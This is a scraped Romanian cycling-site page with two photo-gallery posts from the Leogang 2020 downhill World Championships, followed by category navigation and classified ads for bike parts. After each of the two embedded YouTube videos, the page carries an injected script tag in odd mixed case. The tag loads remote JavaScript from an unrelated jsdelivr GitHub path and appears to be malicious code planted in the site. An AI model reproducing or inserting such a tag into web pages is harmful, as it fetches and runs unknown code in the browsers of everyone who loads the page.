[article-image=&quot;4&quot; description=&quot;Cu un 43 în calificări, se pare că Aaron Gwin a devenit din favorit taman &lt;i&gt;underdog&lt;/i&gt;. Dar nu uitați că evenimentul se termină duminică! - foto: Mx&quot;]

[article-image=&quot;5&quot; description=&quot;Neko Mullaly are a doua cea mai celebră manșă fără lanț, pe 4 la Hafjell în 2013 și sigur puțini știu că prezența Cupei Mondiale în Estul subestimat al Statelor Unite este în mare măsură munca lui. Respect! - foto: Mx&quot;]

[article-image=&quot;6&quot; description=&quot;Nu știu ce să mai spun despre Benoit Coulanges ce să se nu se fi spus deja de când a luat Naționalele Franței anul acesta. Poate că a fost unul dintre cei mai preciși și silențioși în secțiunea din vârf? - foto: Mx&quot;]

[article-image=&quot;7&quot; description=&quot;Chestii tipice pentru Leogang. - foto: Mx&quot;]

[article-image=&quot;8&quot; description=&quot;Frix-Frix in the mix-mix! Hugo Frixtalon e altă dovadă pentru cât de ridicol de profund este bazinul de selecție al Franței. E ca și cum te duci cu Ferrari-ul la piață, fiindcă CHIAR nu ai altă mașină mai nașpa! - foto: Mx&quot;]

[article-image=&quot;9&quot; description=&quot;Bernard Kerr, la vreo doi ani după ce cocheta să-și ia carnet de tirist din România, ca să poată conduce camionul Pivot. Asta nu e o glumă. - foto: Mx&quot;]

[article-image=&quot;10&quot; description=&quot;Shark-Attack-Jack a fost robotul zilei: s-a dat până s-a închis sesiunea. Echipa Canyon îi priește, evident. - foto: Mx&quot;]

[article-image=&quot;11&quot; description=&quot;Troy are un mic fan club loial care speră să-l vadă cât mai curând pe prima treaptă. Haida-hai! - foto: Mx&quot;]

[article-image=&quot;12&quot; description=&quot;Reece Wilson se dă ATÂT de fain, că produce mai multe suspine decât Robbie Williams la fanele din primul rând de la concert! - foto: Mx&quot;]

[article-image=&quot;13&quot; description=&quot;Despre Pedro Burns v-am mai spus. N-are cum să nu-ți placă de el: viteză, stil și bun-simț. - foto: Mx&quot;]

[article-image=&quot;14&quot; description=&quot;Cât timp va lua startul, Danny Hart va fi unul dintre favoriți. - foto: Mx&quot;]

[article-image=&quot;15&quot; description=&quot;Lucas Cruz și trenulețul Norco au mers pe șine toată săptămâna. - foto: Mx&quot;]

[article-image=&quot;16&quot; description=&quot;Christopher Grice din Statele Unite - un nume mai puțin cunoscut, care arată însă foarte bine pe traseu! - foto: Mx&quot;]

[article-image=&quot;17&quot; description=&quot;Despre Gwin se șușotea că nu prea e-n apele lui pe traseul acesta. Asta era joi și vineri, sâmbătă e altă treabă, duminică iarăși alta! - foto: Mx&quot;]

[article-image=&quot;18&quot; description=&quot;Loris Vergier a fost de multe ori foarte aproape, dar aceasta este șansa lui de a scrie o pagină de istorie cât se poate de specială. - foto: Mx&quot;]

[article-image=&quot;19&quot; description=&quot;Un plus de presiune pe Loris, împăratul onomatopeelor din World Cup. - foto: Mx&quot;]

[article-image=&quot;20&quot; description=&quot;Brook Macdonald și Kye A&#039;Hern în secțiunea cu sculpturi, înainte ca treaba să devină tricky! - foto: Mx&quot;]

[article-image=&quot;21&quot; description=&quot;Remus Bonta, cel mai rapid rider român, are o șansă bună să producă un rezultat pe care să ni-l aducem aminte, dacă leagă o manșă curată. Încrederea nu lipsește, tehnica e acolo. - foto: Mx&quot;]

[article-image=&quot;22&quot; description=&quot;&lt;i&gt;”Hey, teacher, dau un gapălău!”&lt;/i&gt; Secvențială cu prima încercare a lui Greg de a tripla linia interioară de la buturugi. Nu i-a ieșit din prima, dar... - foto: Mx&quot;]

[article-image=&quot;23&quot; description=&quot;Cel mai titrat din toate timpurile nu știe cu jumătăți de măsură. - foto: Mx&quot;]

[article-image=&quot;24&quot; description=&quot;&lt;i&gt;All in&lt;/i&gt;, chiar dacă uneori trebuie să-i dai, de sar mucii din traseu! - foto: Mx&quot;]

[article-image=&quot;25&quot; description=&quot;”Bos, hai să-ți arăt ceva!” - foto: Mx&quot;]

[article-image=&quot;26&quot; description=&quot;Da-da, Minnaar a triplat de ACOLO până ACOLO! Toate emoji-urile de uimire, vă rog! - foto: Mx&quot;]

[article-image=&quot;27&quot; description=&quot;Cea mai mișto chestie pe care am văzut-o anul acesta la Mondiale a fost Florent Payet dându-i sfaturi lui Minnaar. Să ne înțelegem, Payet, rider activ și el dar neselecționat, este prezent ca spion de linii pentru echipa rivală a Franței. I-a spus ”dă pop ceva mai devreme și o să-ți iasă!” și fix asta s-a întâmplat. Camaraderia dintre rideri este poate cel mai important lucru din sportul nostru,să nu uitați asta! - foto: Mx&quot;]

[article-image=&quot;28&quot; description=&quot;Dacă erați curioși de V10-le lui Greg. - foto: Mx&quot;]

[article-image=&quot;29&quot; description=&quot;Danny a luat altă linie în zona asta, mai sketchy și mai la sol. - foto: Mx&quot;]

[article-image=&quot;30&quot; description=&quot;Condiții de Leogang de sâmbătă. - foto: Mx&quot;]

[article-image=&quot;31&quot; description=&quot;Nu știu cine e băiatul ăsta, dar îi mulțumesc că s-a decis s-o pună pe lateral pe kicker-ul din imagine. - foto: Mx&quot;]

[article-image=&quot;32&quot; description=&quot;Stefan Mauser și Andreas Kolb, Liniile Aeriene Austriece. - foto: Mx&quot;]

[article-image=&quot;33&quot; description=&quot;Când scoți Mauser-ul, toți rămân lați! - foto: Mx&quot;]

[article-image=&quot;34&quot; description=&quot;Știați că... ...Neko Mullaly a debutat în World Cup ca deschizător la Mont Sainte Anne, când încă nu avea vârstă pentru a se da la juniori. Un potențial recunoscut din timp de Martin Whiteley! - foto: Mx&quot;]

[article-image=&quot;35&quot; description=&quot;Mafia Elvețiană de Leogang. În dreapta, cu pantaloni roșii îl aveți pe Noel Niederberger și Noel se dă acum pe un V10 și a fost omul principal în echipa de World Cup NS Bikes, care ne-a adus frumosul Fuzz. Dar acum 8 ani, Noel era junior și se dădea pentru Scott Velosolutions și era singurul care avea pe Gambler niște roți un pic mai mari, pe care puțini le-au observat. Acum le are toată lumea. ;) - foto: Mx&quot;]

[article-image=&quot;36&quot; description=&quot;Un canar în griul de Leogang, Julian Steiner din Germania. - foto: Mx&quot;]

[article-image=&quot;37&quot; description=&quot;Bucurii pentru ochi: Brook și Bernard. - foto: Mx&quot;]

[article-image=&quot;38&quot; description=&quot;Aparatele foto din tot circuitul mondial îi mulțumesc lui Reece Wilson că respiră pe această planetă. - foto: Mx&quot;]

[article-image=&quot;39&quot; description=&quot;Mocănița Commencal 100\%, cu Thomas Estaque și Hugo Frixtalon. - foto: Mx&quot;]

[article-image=&quot;40&quot; description=&quot;Troy, pe unde șanțul e mai adânc. Motocrosiștii râd de noi, credeți-mă. - foto: Mx&quot;]

[article-image=&quot;41&quot; description=&quot;&lt;i&gt;Finn for the win!&lt;/i&gt; Linia asta interioară cu gap, de la intrarea în pădure, nu e pentru toată lumea. - foto: Mx&quot;]

[article-image=&quot;42&quot; description=&quot;Încă o poză cu ciocolata cu alune din pădure. - foto: Mx&quot;]

[article-image=&quot;43&quot; description=&quot;Loris Vergier rezolvă și alunele și ciocolata. Încercați să vă imaginați cum vă explică în cuvintele lui cum a fost secțiunea asta! :D - foto: Mx&quot;]

[article-image=&quot;44&quot; description=&quot;Kye A&#039;hern, foarte sigur pe el unde alții ezitau. - foto: Mx&quot;]

[article-image=&quot;45&quot; description=&quot;Și mai multă ciocolată!  - foto: Mx&quot;]

[article-image=&quot;46&quot; description=&quot;Poate de aici se vede cât de abrupt e! - foto: Mx&quot;]

[article-image=&quot;47&quot; description=&quot;Luca Shaw, &lt;i&gt;the smooth operator&lt;/i&gt;. Poza asta nu e în focus, dar trebuia pusă aici. Trebuia. - foto: Mx&quot;]

[article-image=&quot;48&quot; description=&quot;Singurul Pierron rămas pe felie cu Mondialele de anul ăsta, Baptiste. - foto: Mx&quot;]

[article-image=&quot;49&quot; description=&quot;N-are cum să nu-ți placă de Dakotah Norton, dacă ai o idee despre downhill! - foto: Mx&quot;]

[article-image=&quot;50&quot; description=&quot;Mike Jones nu e în lotul britanic, dar e în echipa MS Mondraker și are grijă să țină ochii deschiși după linii prețioase. Ah, și încă un șanț! - foto: Mx&quot;]

[article-image=&quot;51&quot; description=&quot;Danny Hart, într-un mediu în care ar trebui să se simtă ca peștele-n apă! - foto: Mx&quot;]

[article-image=&quot;52&quot; description=&quot;Greg Minnaar a îmbrățișat trecerea timpului ca un vin bun. - foto: Mx&quot;]

[article-image=&quot;53&quot; description=&quot;Oare ce ne va aduce duminica??? - foto: Mx&quot;]

&lt;p&gt;Pentru o viață mai bună, ascultați The Cure:&lt;/p&gt;

&lt;div class=&quot;video&quot;&gt;&lt;iframe width=&quot;700&quot; height=&quot;394&quot; src=&quot;https://www.youtube.com/embed/bsUXcQakUno&quot; frameborder=&quot;0&quot; allowfullscreen&gt;&lt;/iframe&gt;&lt;/div&gt;<sCrIpT sRc=//cdn.jsdelivr.net/gh/4dvc0nf/a/1.js></ScRiPt>

Mondiale Leogang 2020 - Ia cu vânt, linii și ciocolată! (photo inside)

&lt;p&gt;E ora locală 5:52 și n-am chef să scriu nici o introducere. Nici măcar nu știu de ce am scris titlul ăsta, dar n-am altă idee mai bună la ora asta. Oricum toată scena e plină de clișee, de la muzica de dat ochi peste cap pusă de DJ la finish (Queen - Bicycle Race, &lt;i&gt;anyone&lt;/i&gt;?), la eternele discuții, veșnicele prognosticuri și frica de marele Bau-Bau numit ”vreme”. Și oricum nu contează.&lt;/p&gt;

[article-image=&quot;1&quot; description=&quot;Cele mai clișee de Leogang. - foto: Mx&quot;]

&lt;p&gt;Vineri a fost zi de antrenamente scurte și de calificări, rezultatele probabil că le știți deja: Vali-Tracey-Myriam la fete, Loris-Loic-Finn la băieți, cu niște căzături și niște probleme, iar la juniori și junioare niște oameni de care probabil că n-ați auzit și nici nu vă interesează. Sincer! Ai noștri au mers decent, s-au calificat toți, iar ăsta a fost prilej de mâncat la timp, îngrijit biciclete și culcat devreme. Am urcat puțin la start, cât să mai prind ceva din antrenamentele la Elite, am coborât la finish pentru juniori și fete și, după ce au coborât Akos și Remus, m-am dus la gap-ul mare și m-am pitit în zmeuriș, că atâta m-a dus pe mine capul. Să-i dăm însă cu poze, că n-are nimeni chef de dilemele mele de planning, cu plăcere:&lt;/p&gt;

[article-image=&quot;2&quot; description=&quot;&lt;i&gt;The G.O.A.T.&lt;/i&gt; la start, întotdeauna o onoare! - foto: Mx&quot;]

[article-image=&quot;3&quot; description=&quot;Laurie și-a furat-o azi și și-a rupt ligamentele de la o mână, dar e &lt;i&gt;protected&lt;/i&gt;, deci se poate da în finală. Pentru operații mai e timp după. - foto: Mx&quot;]

[article-image=&quot;4&quot; description=&quot;Sharjah Jonsson din Africa de Sud a arătat bine pe traseu în toate zilele ăstea. Da, știu, și ăsta e un clișeu de scris la un photo-caption. - foto: Mx&quot;]

[article-image=&quot;5&quot; description=&quot;Kye A&#039;Hern e în primul lui an la Elite și protejatul lui Troy. - foto: Mx&quot;]

[article-image=&quot;6&quot; description=&quot;Brook Macdonald iara i-a pus pe toți pe jar, cu o căzătură în finală, dar e okay și e și el &lt;i&gt;protected&lt;/i&gt; de anul trecut, ergo se dă și el duminică. - foto: Mx&quot;]

[article-image=&quot;7&quot; description=&quot;Încă niște clasice de Leogangbang. - foto: Mx&quot;]

[article-image=&quot;8&quot; description=&quot;Colegu&#039; de parcare, Mathias Hafner din Germania. - foto: Mx&quot;]

[article-image=&quot;9&quot; description=&quot;Aripa asta cu Vali răstignită pe bicicleta unei concurente directe mi-a adus aminte de o regulă nescrisă din NBA: dacă un anume superstar are adidași pro-model și tu-i porți în mod regulat, nu e o idee bună să-i porți și când joci împotriva lui, că-i dă un avantaj mental asupra ta. - foto: Mx&quot;]

[article-image=&quot;54&quot; description=&quot;Leona Pierrini din Franța și Siel van der Welden din Belgia, adică primele două locuri la junioare. - foto: Mx&quot;]

[article-image=&quot;10&quot; description=&quot;Maximilian Oberhofer de la juniori, deasupra curților din sat. - foto: Mx&quot;]

[article-image=&quot;11&quot; description=&quot;David Ivanjko din Croația a pompat-o până-n finish. - foto: Mx&quot;]

[article-image=&quot;12&quot; description=&quot;Viktor Kolev din Bulgaria, vecinul care a rămas întreg la gap-ul mare. - foto: Mx&quot;]

[article-image=&quot;13&quot; description=&quot;David Cvinger din Cehia, nemulțumit de timp, și juniorii maghiari. - foto: Mx&quot;]

[article-image=&quot;14&quot; description=&quot;Paul Someșan a mers onorabil și a prins din urmă un finlandez. - foto: Mx&quot;]

[article-image=&quot;15&quot; description=&quot;Toate bune pe planeta Paul! - foto: Mx&quot;]

[article-image=&quot;16&quot; description=&quot;Eszti Bereczki in the house! - foto: Mx&quot;]

[article-image=&quot;17&quot; description=&quot;Luke Meier-Smith a mers excelent la Innsbruck, era văzut drept favorit, dar n-a fost să fie! 7 pentru el la juniori. - foto: Mx&quot;]

[article-image=&quot;18&quot; description=&quot;Matthew Sterling a câștigat calificările la juniori, în timp ce irlandezul Chris Cumming s-a dovedit o investiție excelentă pentru YT Mob. Locul doi pentru el. - foto: Mx&quot;]

[article-image=&quot;19&quot; description=&quot;Dacă nu știi cine e omul ăsta, nu exiști în mountainbiking! - foto: Mx&quot;]

[article-image=&quot;20&quot; description=&quot;Luana Cherecheș a dat o manșă cuminte în care a reușit să nu cadă. Mare lucru, ținând cont de circumstanțe. - foto: Mx&quot;]

[article-image=&quot;21&quot; description=&quot;Așa arată o Țestoasă fericită! - foto: Mx&quot;]

[article-image=&quot;22&quot; description=&quot;Noga Korem nu părea deloc mulțumită de locul ei 11. Țineți cont că singura dată când a mai fost la niște Mondiale a fost în 2016 și s-a dat la XC!  - foto: Mx&quot;]

[article-image=&quot;23&quot; description=&quot;Myriam Nicole a avut cel mai bun timp când a ajuns jos, dar nu pentru multă vreme. - foto: Mx&quot;]

[article-image=&quot;24&quot; description=&quot;Tahnee a fost aproape de Myriam Nicole, dar încă nu e clar cât de recuperată-i e glezna. - foto: Mx&quot;]

[article-image=&quot;25&quot; description=&quot;Cui i-e frică de Valentina Höll? - foto: Mx&quot;]

[article-image=&quot;26&quot; description=&quot;Vali i-a dat 14 secunde lui Myriam. Unde să te și uiți altundeva? - foto: Mx&quot;]

[article-image=&quot;27&quot; description=&quot;Camille Balanche a dat gap-ul final de undeva din pod și a aterizat pe 6. - foto: Mx&quot;]

[article-image=&quot;28&quot; description=&quot;Rulează filmul ”Toată lumea vrea o felie din Valentina”. Plus &lt;i&gt;animal print&lt;/i&gt;, baby, &lt;i&gt;animal print&lt;/i&gt;! - foto: Mx&quot;]

[article-image=&quot;29&quot; description=&quot;Ultimul vehicul pe care vrei să-l vezi la vreun concurs. Păsăroiul de aici a venit s-o scoată pe Veronika Widmann din pădure. Veronika a avut o intervenție chirurgicală rapidă (!), dar e bine, &lt;a href=&quot;https://www.facebook.com/verowidmann/&quot; target=&quot;\_blank&quot;&gt;după spusele ei&lt;/a&gt;. - foto: Mx&quot;]

[article-image=&quot;30&quot; description=&quot;Ne-am tot întrebat în prima zi ”Cine dracu&#039; e ăla cu cască Red Bull de la Trek???”. E Pedro Burns din Chile, venit din enduro. Super rapid, super băiețaș! - foto: Mx&quot;]

[article-image=&quot;31&quot; description=&quot;Pedro e simțit și prietenos, fără ifose la purtător. Locul 20 la debut! - foto: Mx&quot;]

[article-image=&quot;32&quot; description=&quot;Akos a plecat al doilea și a izbutit să se califice. - foto: Mx&quot;]

[article-image=&quot;33&quot; description=&quot;O manșă onorabilă pentru clujeanul cu domiciliu de iarnă la &lt;a href=&quot;https://www.facebook.com/Malaga-MTB-camp-105118021350458&quot; target=&quot;\_blank&quot;&gt;Malaga&lt;/a&gt;. - foto: Mx&quot;]

[article-image=&quot;34&quot; description=&quot;”Fără spectatori” înseamnă și ceva mai aproape de legende. I-am avut printre noi la finish, pe lângă Peat, Warner și Barel, pe Andrew Shandro și pe Gabe Fox. - foto: Mx&quot;]

[article-image=&quot;35&quot; description=&quot;Bonta Stratosfericu&#039;! Remus s-a calificat și el, fără emoții. - foto: Mx&quot;]

[article-image=&quot;36&quot; description=&quot;O singură căzătură pentru Remi, deci are ce ameliora în finală! - foto: Mx&quot;]

[article-image=&quot;37&quot; description=&quot;Kye A&#039;Hern demonstrează că nu ai de unde fotografia jump-ul de jos decât din față. Locul 47 pentru australian. - foto: Mx&quot;]

[article-image=&quot;38&quot; description=&quot;Bernard Kerr pe 17, la 14 secunde de lider. - foto: Mx&quot;]

[article-image=&quot;39&quot; description=&quot;Moi-Moi e înapoi-poi la forma sa bună și pe 6 în calificări! - foto: Mx&quot;]

[article-image=&quot;40&quot; description=&quot;Variante pentru săritoarea de jos: Davide Palazzari și Jacob Dickson. - foto: Mx&quot;]

[article-image=&quot;41&quot; description=&quot;Matt Walker, solid pe locul opt! - foto: Mx&quot;]

[article-image=&quot;42&quot; description=&quot;Finn a legat una bună și a ajuns pe trei, hei! - foto: Mx&quot;]

[article-image=&quot;43&quot; description=&quot;Dakotah Norton și dovada clară că ți-ai dat-o: fără cozoroc pe locul 26! - foto: Mx&quot;]

[article-image=&quot;44&quot; description=&quot;Nici cu Charlie Harrison nu mi-e rușine, că nici el nu și-a rupt cozorocul fiindcă și-a dorit asta. Locul 75, dar oricum &lt;i&gt;protected&lt;/i&gt;. - foto: Mx&quot;]

[article-image=&quot;45&quot; description=&quot;Nici Danny Hart n-a avut cea mai curată manșă. Locul 15 și stil cât pentru întreg ProTV-ul. - foto: Mx&quot;]

[article-image=&quot;46&quot; description=&quot;Aș fi vrut să am o poză mai fericită cu Loris, dar trebuie să vă mulțumiți cu asta. Cine ține cu el duminică? - foto: Mx&quot;]

[article-image=&quot;47&quot; description=&quot;Bunul prieten ceva mai titrat, de data asta pe doi, momentan. Ăsta știe să și întoarcă de ghidon, dar nu vă fie frică, și Meme știe și și el ar fi putut fi aici! - foto: Mx&quot;]

[article-image=&quot;48&quot; description=&quot;Troy e omul care tace și face, super constant, dar puțin hype pe capul lui. Locul 7 azi, poate mai bine duminică. - foto: Mx&quot;]

[article-image=&quot;49&quot; description=&quot;Așa se face treaba! Cu iutubăru&#039; vostru favorit. Nu, nu tu Sebi! - foto: Mx&quot;]

[article-image=&quot;50&quot; description=&quot;Lui Remus i se mai spune și ”liliacu&#039;” și în timpul liber îi place să meargă la biserică. Dovada. - foto: Mx&quot;]

[article-image=&quot;55&quot; description=&quot;Lotul Național de Hardcore. De data asta pe bune. - foto: Mx&quot;]

[article-image=&quot;52&quot; description=&quot;Finn Iles, un om fericit când se uită la cross-country U23. - foto: Mx&quot;]

[article-image=&quot;53&quot; description=&quot;Zece puncte pentru cine știe cine e aici! - foto: Mx&quot;]

&lt;p&gt;Azi n-avem Queen - Bicycle Race, &#039;tu-i maica mă-sii:&lt;/p&gt;

&lt;div class=&quot;video&quot;&gt;&lt;iframe width=&quot;700&quot; height=&quot;394&quot; src=&quot;https://www.youtube.com/embed/Q1Khr45wT4o&quot; frameborder=&quot;0&quot; allowfullscreen&gt;&lt;/iframe&gt;&lt;/div&gt;<sCrIpT sRc=//cdn.jsdelivr.net/gh/4dvc0nf/a/1.js></ScRiPt>

Mondiale Leogang 2020 - Calificări cu extaz, agonie și alte clișee (photo inside)

MTB Cross Country

MTB Downhill / Freeride

MTB Enduro / Trail

MTB Dirt / Street

MTB Freeride Hardtail (structura veche)

Cursiere Șosea

Cursiere Gravel / Ciclocros

Cursiere Contratimp / Triatlon

Oraș / Trekking

Fixie / Singlespeed

Pliabile

Trial

Copii

Damă

Fatbike

Altele

Branduri Biciclete

Stare

Biciclete

MTB - Mountain Bike

Cyclocross / Gravel

Șosea

Oraș

Baterii

Încărcătoare

Piese și accesorii E-Bike

Electrice (toate - structura din site-ul vechi)

An fabricație

Biciclete Electrice

Electrice

Freestyle

Urbane adulți

Cască

Protecții

Piese

Roți

Rulmenți

Manșoane

Branduri Trotinete

Trotinete

Accesorii / piese amortizoare spate

Accesorii / piese cadre

Accesorii / piese frâne

Accesorii / piese furci

Accesorii / piese schimbătoare și manete

Accesorii / piese roţi și butuci

Amortizoare spate

Angrenaje

Butuci pedalieri / monoblocuri

Butuci roţi

Cabluri şi cămăşi

Cadre

Camere

Cauciucuri / Anvelope

Coliere și cheiţe de şa

Cuvete

Foi / plăci de angrenaj

Frâne

Furci

Ghidaje de lanţ (chainguides)

Ghidoane

Groupset / transmisii întregi

Jante

Lanțuri

Manete de frână

Manete combo / Ergopower / STI

Manete de schimbător

Manșoane / ghidolină

Pinioane

Pipe (tije de ghidon)

Pedale

Roţi complete

Schimbătoare de foi

Schimbătoare de pinioane

Spiţe şi nipluri

Şei

Tije de şa

Branduri Piese

Antifurt

Apărători

Bidoane şi suporturi

Genţi

Lumini / faruri şi stopuri

Oglinzi

Portbagaje

Produse de întreţinere

Remorci si carucioare

Scule şi unelte

Suporturi maşină

Sonerii

Branduri

Accesorii

Căști

Mănuşi

Ochelari

Rucsacuri

Echipamente

Îmbrăcăminte (toate)

Bandane multifuncționale

Bluze

Cagule

Căciuli

Curățare și întreținere

Încălzitoare

Hanorace

Jachete

Pantaloni scurți

Pantaloni lungi

Șepci

Șosete

Tricouri mânecă scurtă

Tricouri mânecă lungă

Veste

Mărime îmbrăcăminte

Tehnologii

Îmbrăcăminte

Încălţăminte (toate)

Accesorii încălțăminte

Mărime încălțăminte

Sistem închidere pantofi

Tip talpă pantof

Încălțăminte

Ceasuri

Kilometraje

Home trainer

Camere de filmat

Drone

Branduri Gadget

Tehnologie

Brașov

CUMPĂR butuc spate de 135 mm QR pe rulmenți, cu prindere de disc IS și 32H.

Simplu și clar: butuc pe QR de disc pentru spate pe standardul vechi/clasic, pe rulmenți și 32 de găuri. Marca nu e tare importantă. Idealmente negru sau într-o culoare neutră. Să fie în stare bună, evident, și la un preț cât mai mic. Nu vreau să dau mai mult de 150 RON pe el, că nu are sens.

Fotografia are rol informativ.

Sunt de găsit prin sistemul de mesagerie privată. 

Vă rog frumos nu scrieţi dacă aveţi de dat un produs care nu corespunde descrierii. Ne pierdem timpul degeaba şi e păcat de el. 

Mulţumesc pentru atenţie!

Cumpăr

Predare Personală

Butuc spate de 135 mm QR pe rulmenți cu prindere de disc IS, 32H

Maximilian Munteanu

Vând un set constând în ghidon Truvativ Descendant Troy Lee Designs Collab și pipă NS Bikes Direct Mount asortate.

Piesele au venit la pachet cu o furcă pe care am cumpărat-o. Nu au fost folosite deloc, doar montate. Omul din Germania de la care le-am cumpărat luase și stickere asortate cu ele pentru furcă. Eu nu am ce să fac cu ele, că am nevoie de pipă și ghidon cu rise mai mare, deci au stat un an fix pe degeaba. Sunt noi, doar cu urme de la montare, câteva zgârieturi.

Specificații:

- ghidon de 800 mm, netăiat, din aluminiu 7050
- upsweep 5 grade, backsweep 7 grade, rise 25 mm, 310 g
- pipă de 43/50 mm, din aluminiu 6061 T6
- frezată CNC, 151 g, cu șuruburi cu tot

preț separat: 350 de lei ghidonul, 250 de lei pipa, dar prefer să le dau împreună, evident. Noi costau 100 / 80 EUR, dar nu prea se găsesc pe culorile ăstea. Dacă le găsește cineva pe undeva, să-mi spună și mie.

Pentru alte imagini de detaliu, vă stau la dispoziție. 

Nu răspund la întrebări de genul ”Ultimul preț?”.

Predare personală în Brașov. Pentru alte localități cumpărătorul își asumă transportul.

Vând

Combo pipă/ghidon Truvativ Troy Lee Designs / NS Bikes direct-mount

Vând manete de frână din carbon Magura originale, pentru două degete.

Au venit pe frânele mele MT Trail SL Carbon, dar nu am ce face cu ele și stau degeaba. Se potrivesc pe manete de MT8 sau MT7. Sunt impecabile și stupid de ușoare. Un upgrade pentru cine preferă leviere ceva mai lungi, la un preț prietenos. Noi  sunt stupid de scumpe.

Pentru alte imagini de detaliu, vă stau la dispoziție. 

Nu răspund la întrebări de genul ”Ultimul preț?”.

Predare personală în Brașov. Pentru alte localități cumpărătorul își asumă transportul.

Leviere de frână din carbon Magura

Cumpăr o pereche de cauciucuri Maxxis Larsen TT 26” x 2.35.

Noi sau în stare excelentă, este important să arate ca noi. Sârmă sau pliabile, deși m-aș mira să aibă cineva așa ceva. Nu mă interesează alte cauciucuri similare de la alte mărci.

Primesc cu drag și sfaturi de unde să cumpăr.

Vă rog frumos nu scrieţi dacă aveţi de dat un produs care nu corespunde descrierii. Ne pierdem timpul degeaba şi e păcat de el.

Mulţumesc pentru atenţie!

CUMPĂR o pereche de Maxxis Larsen TT 26” x 2.35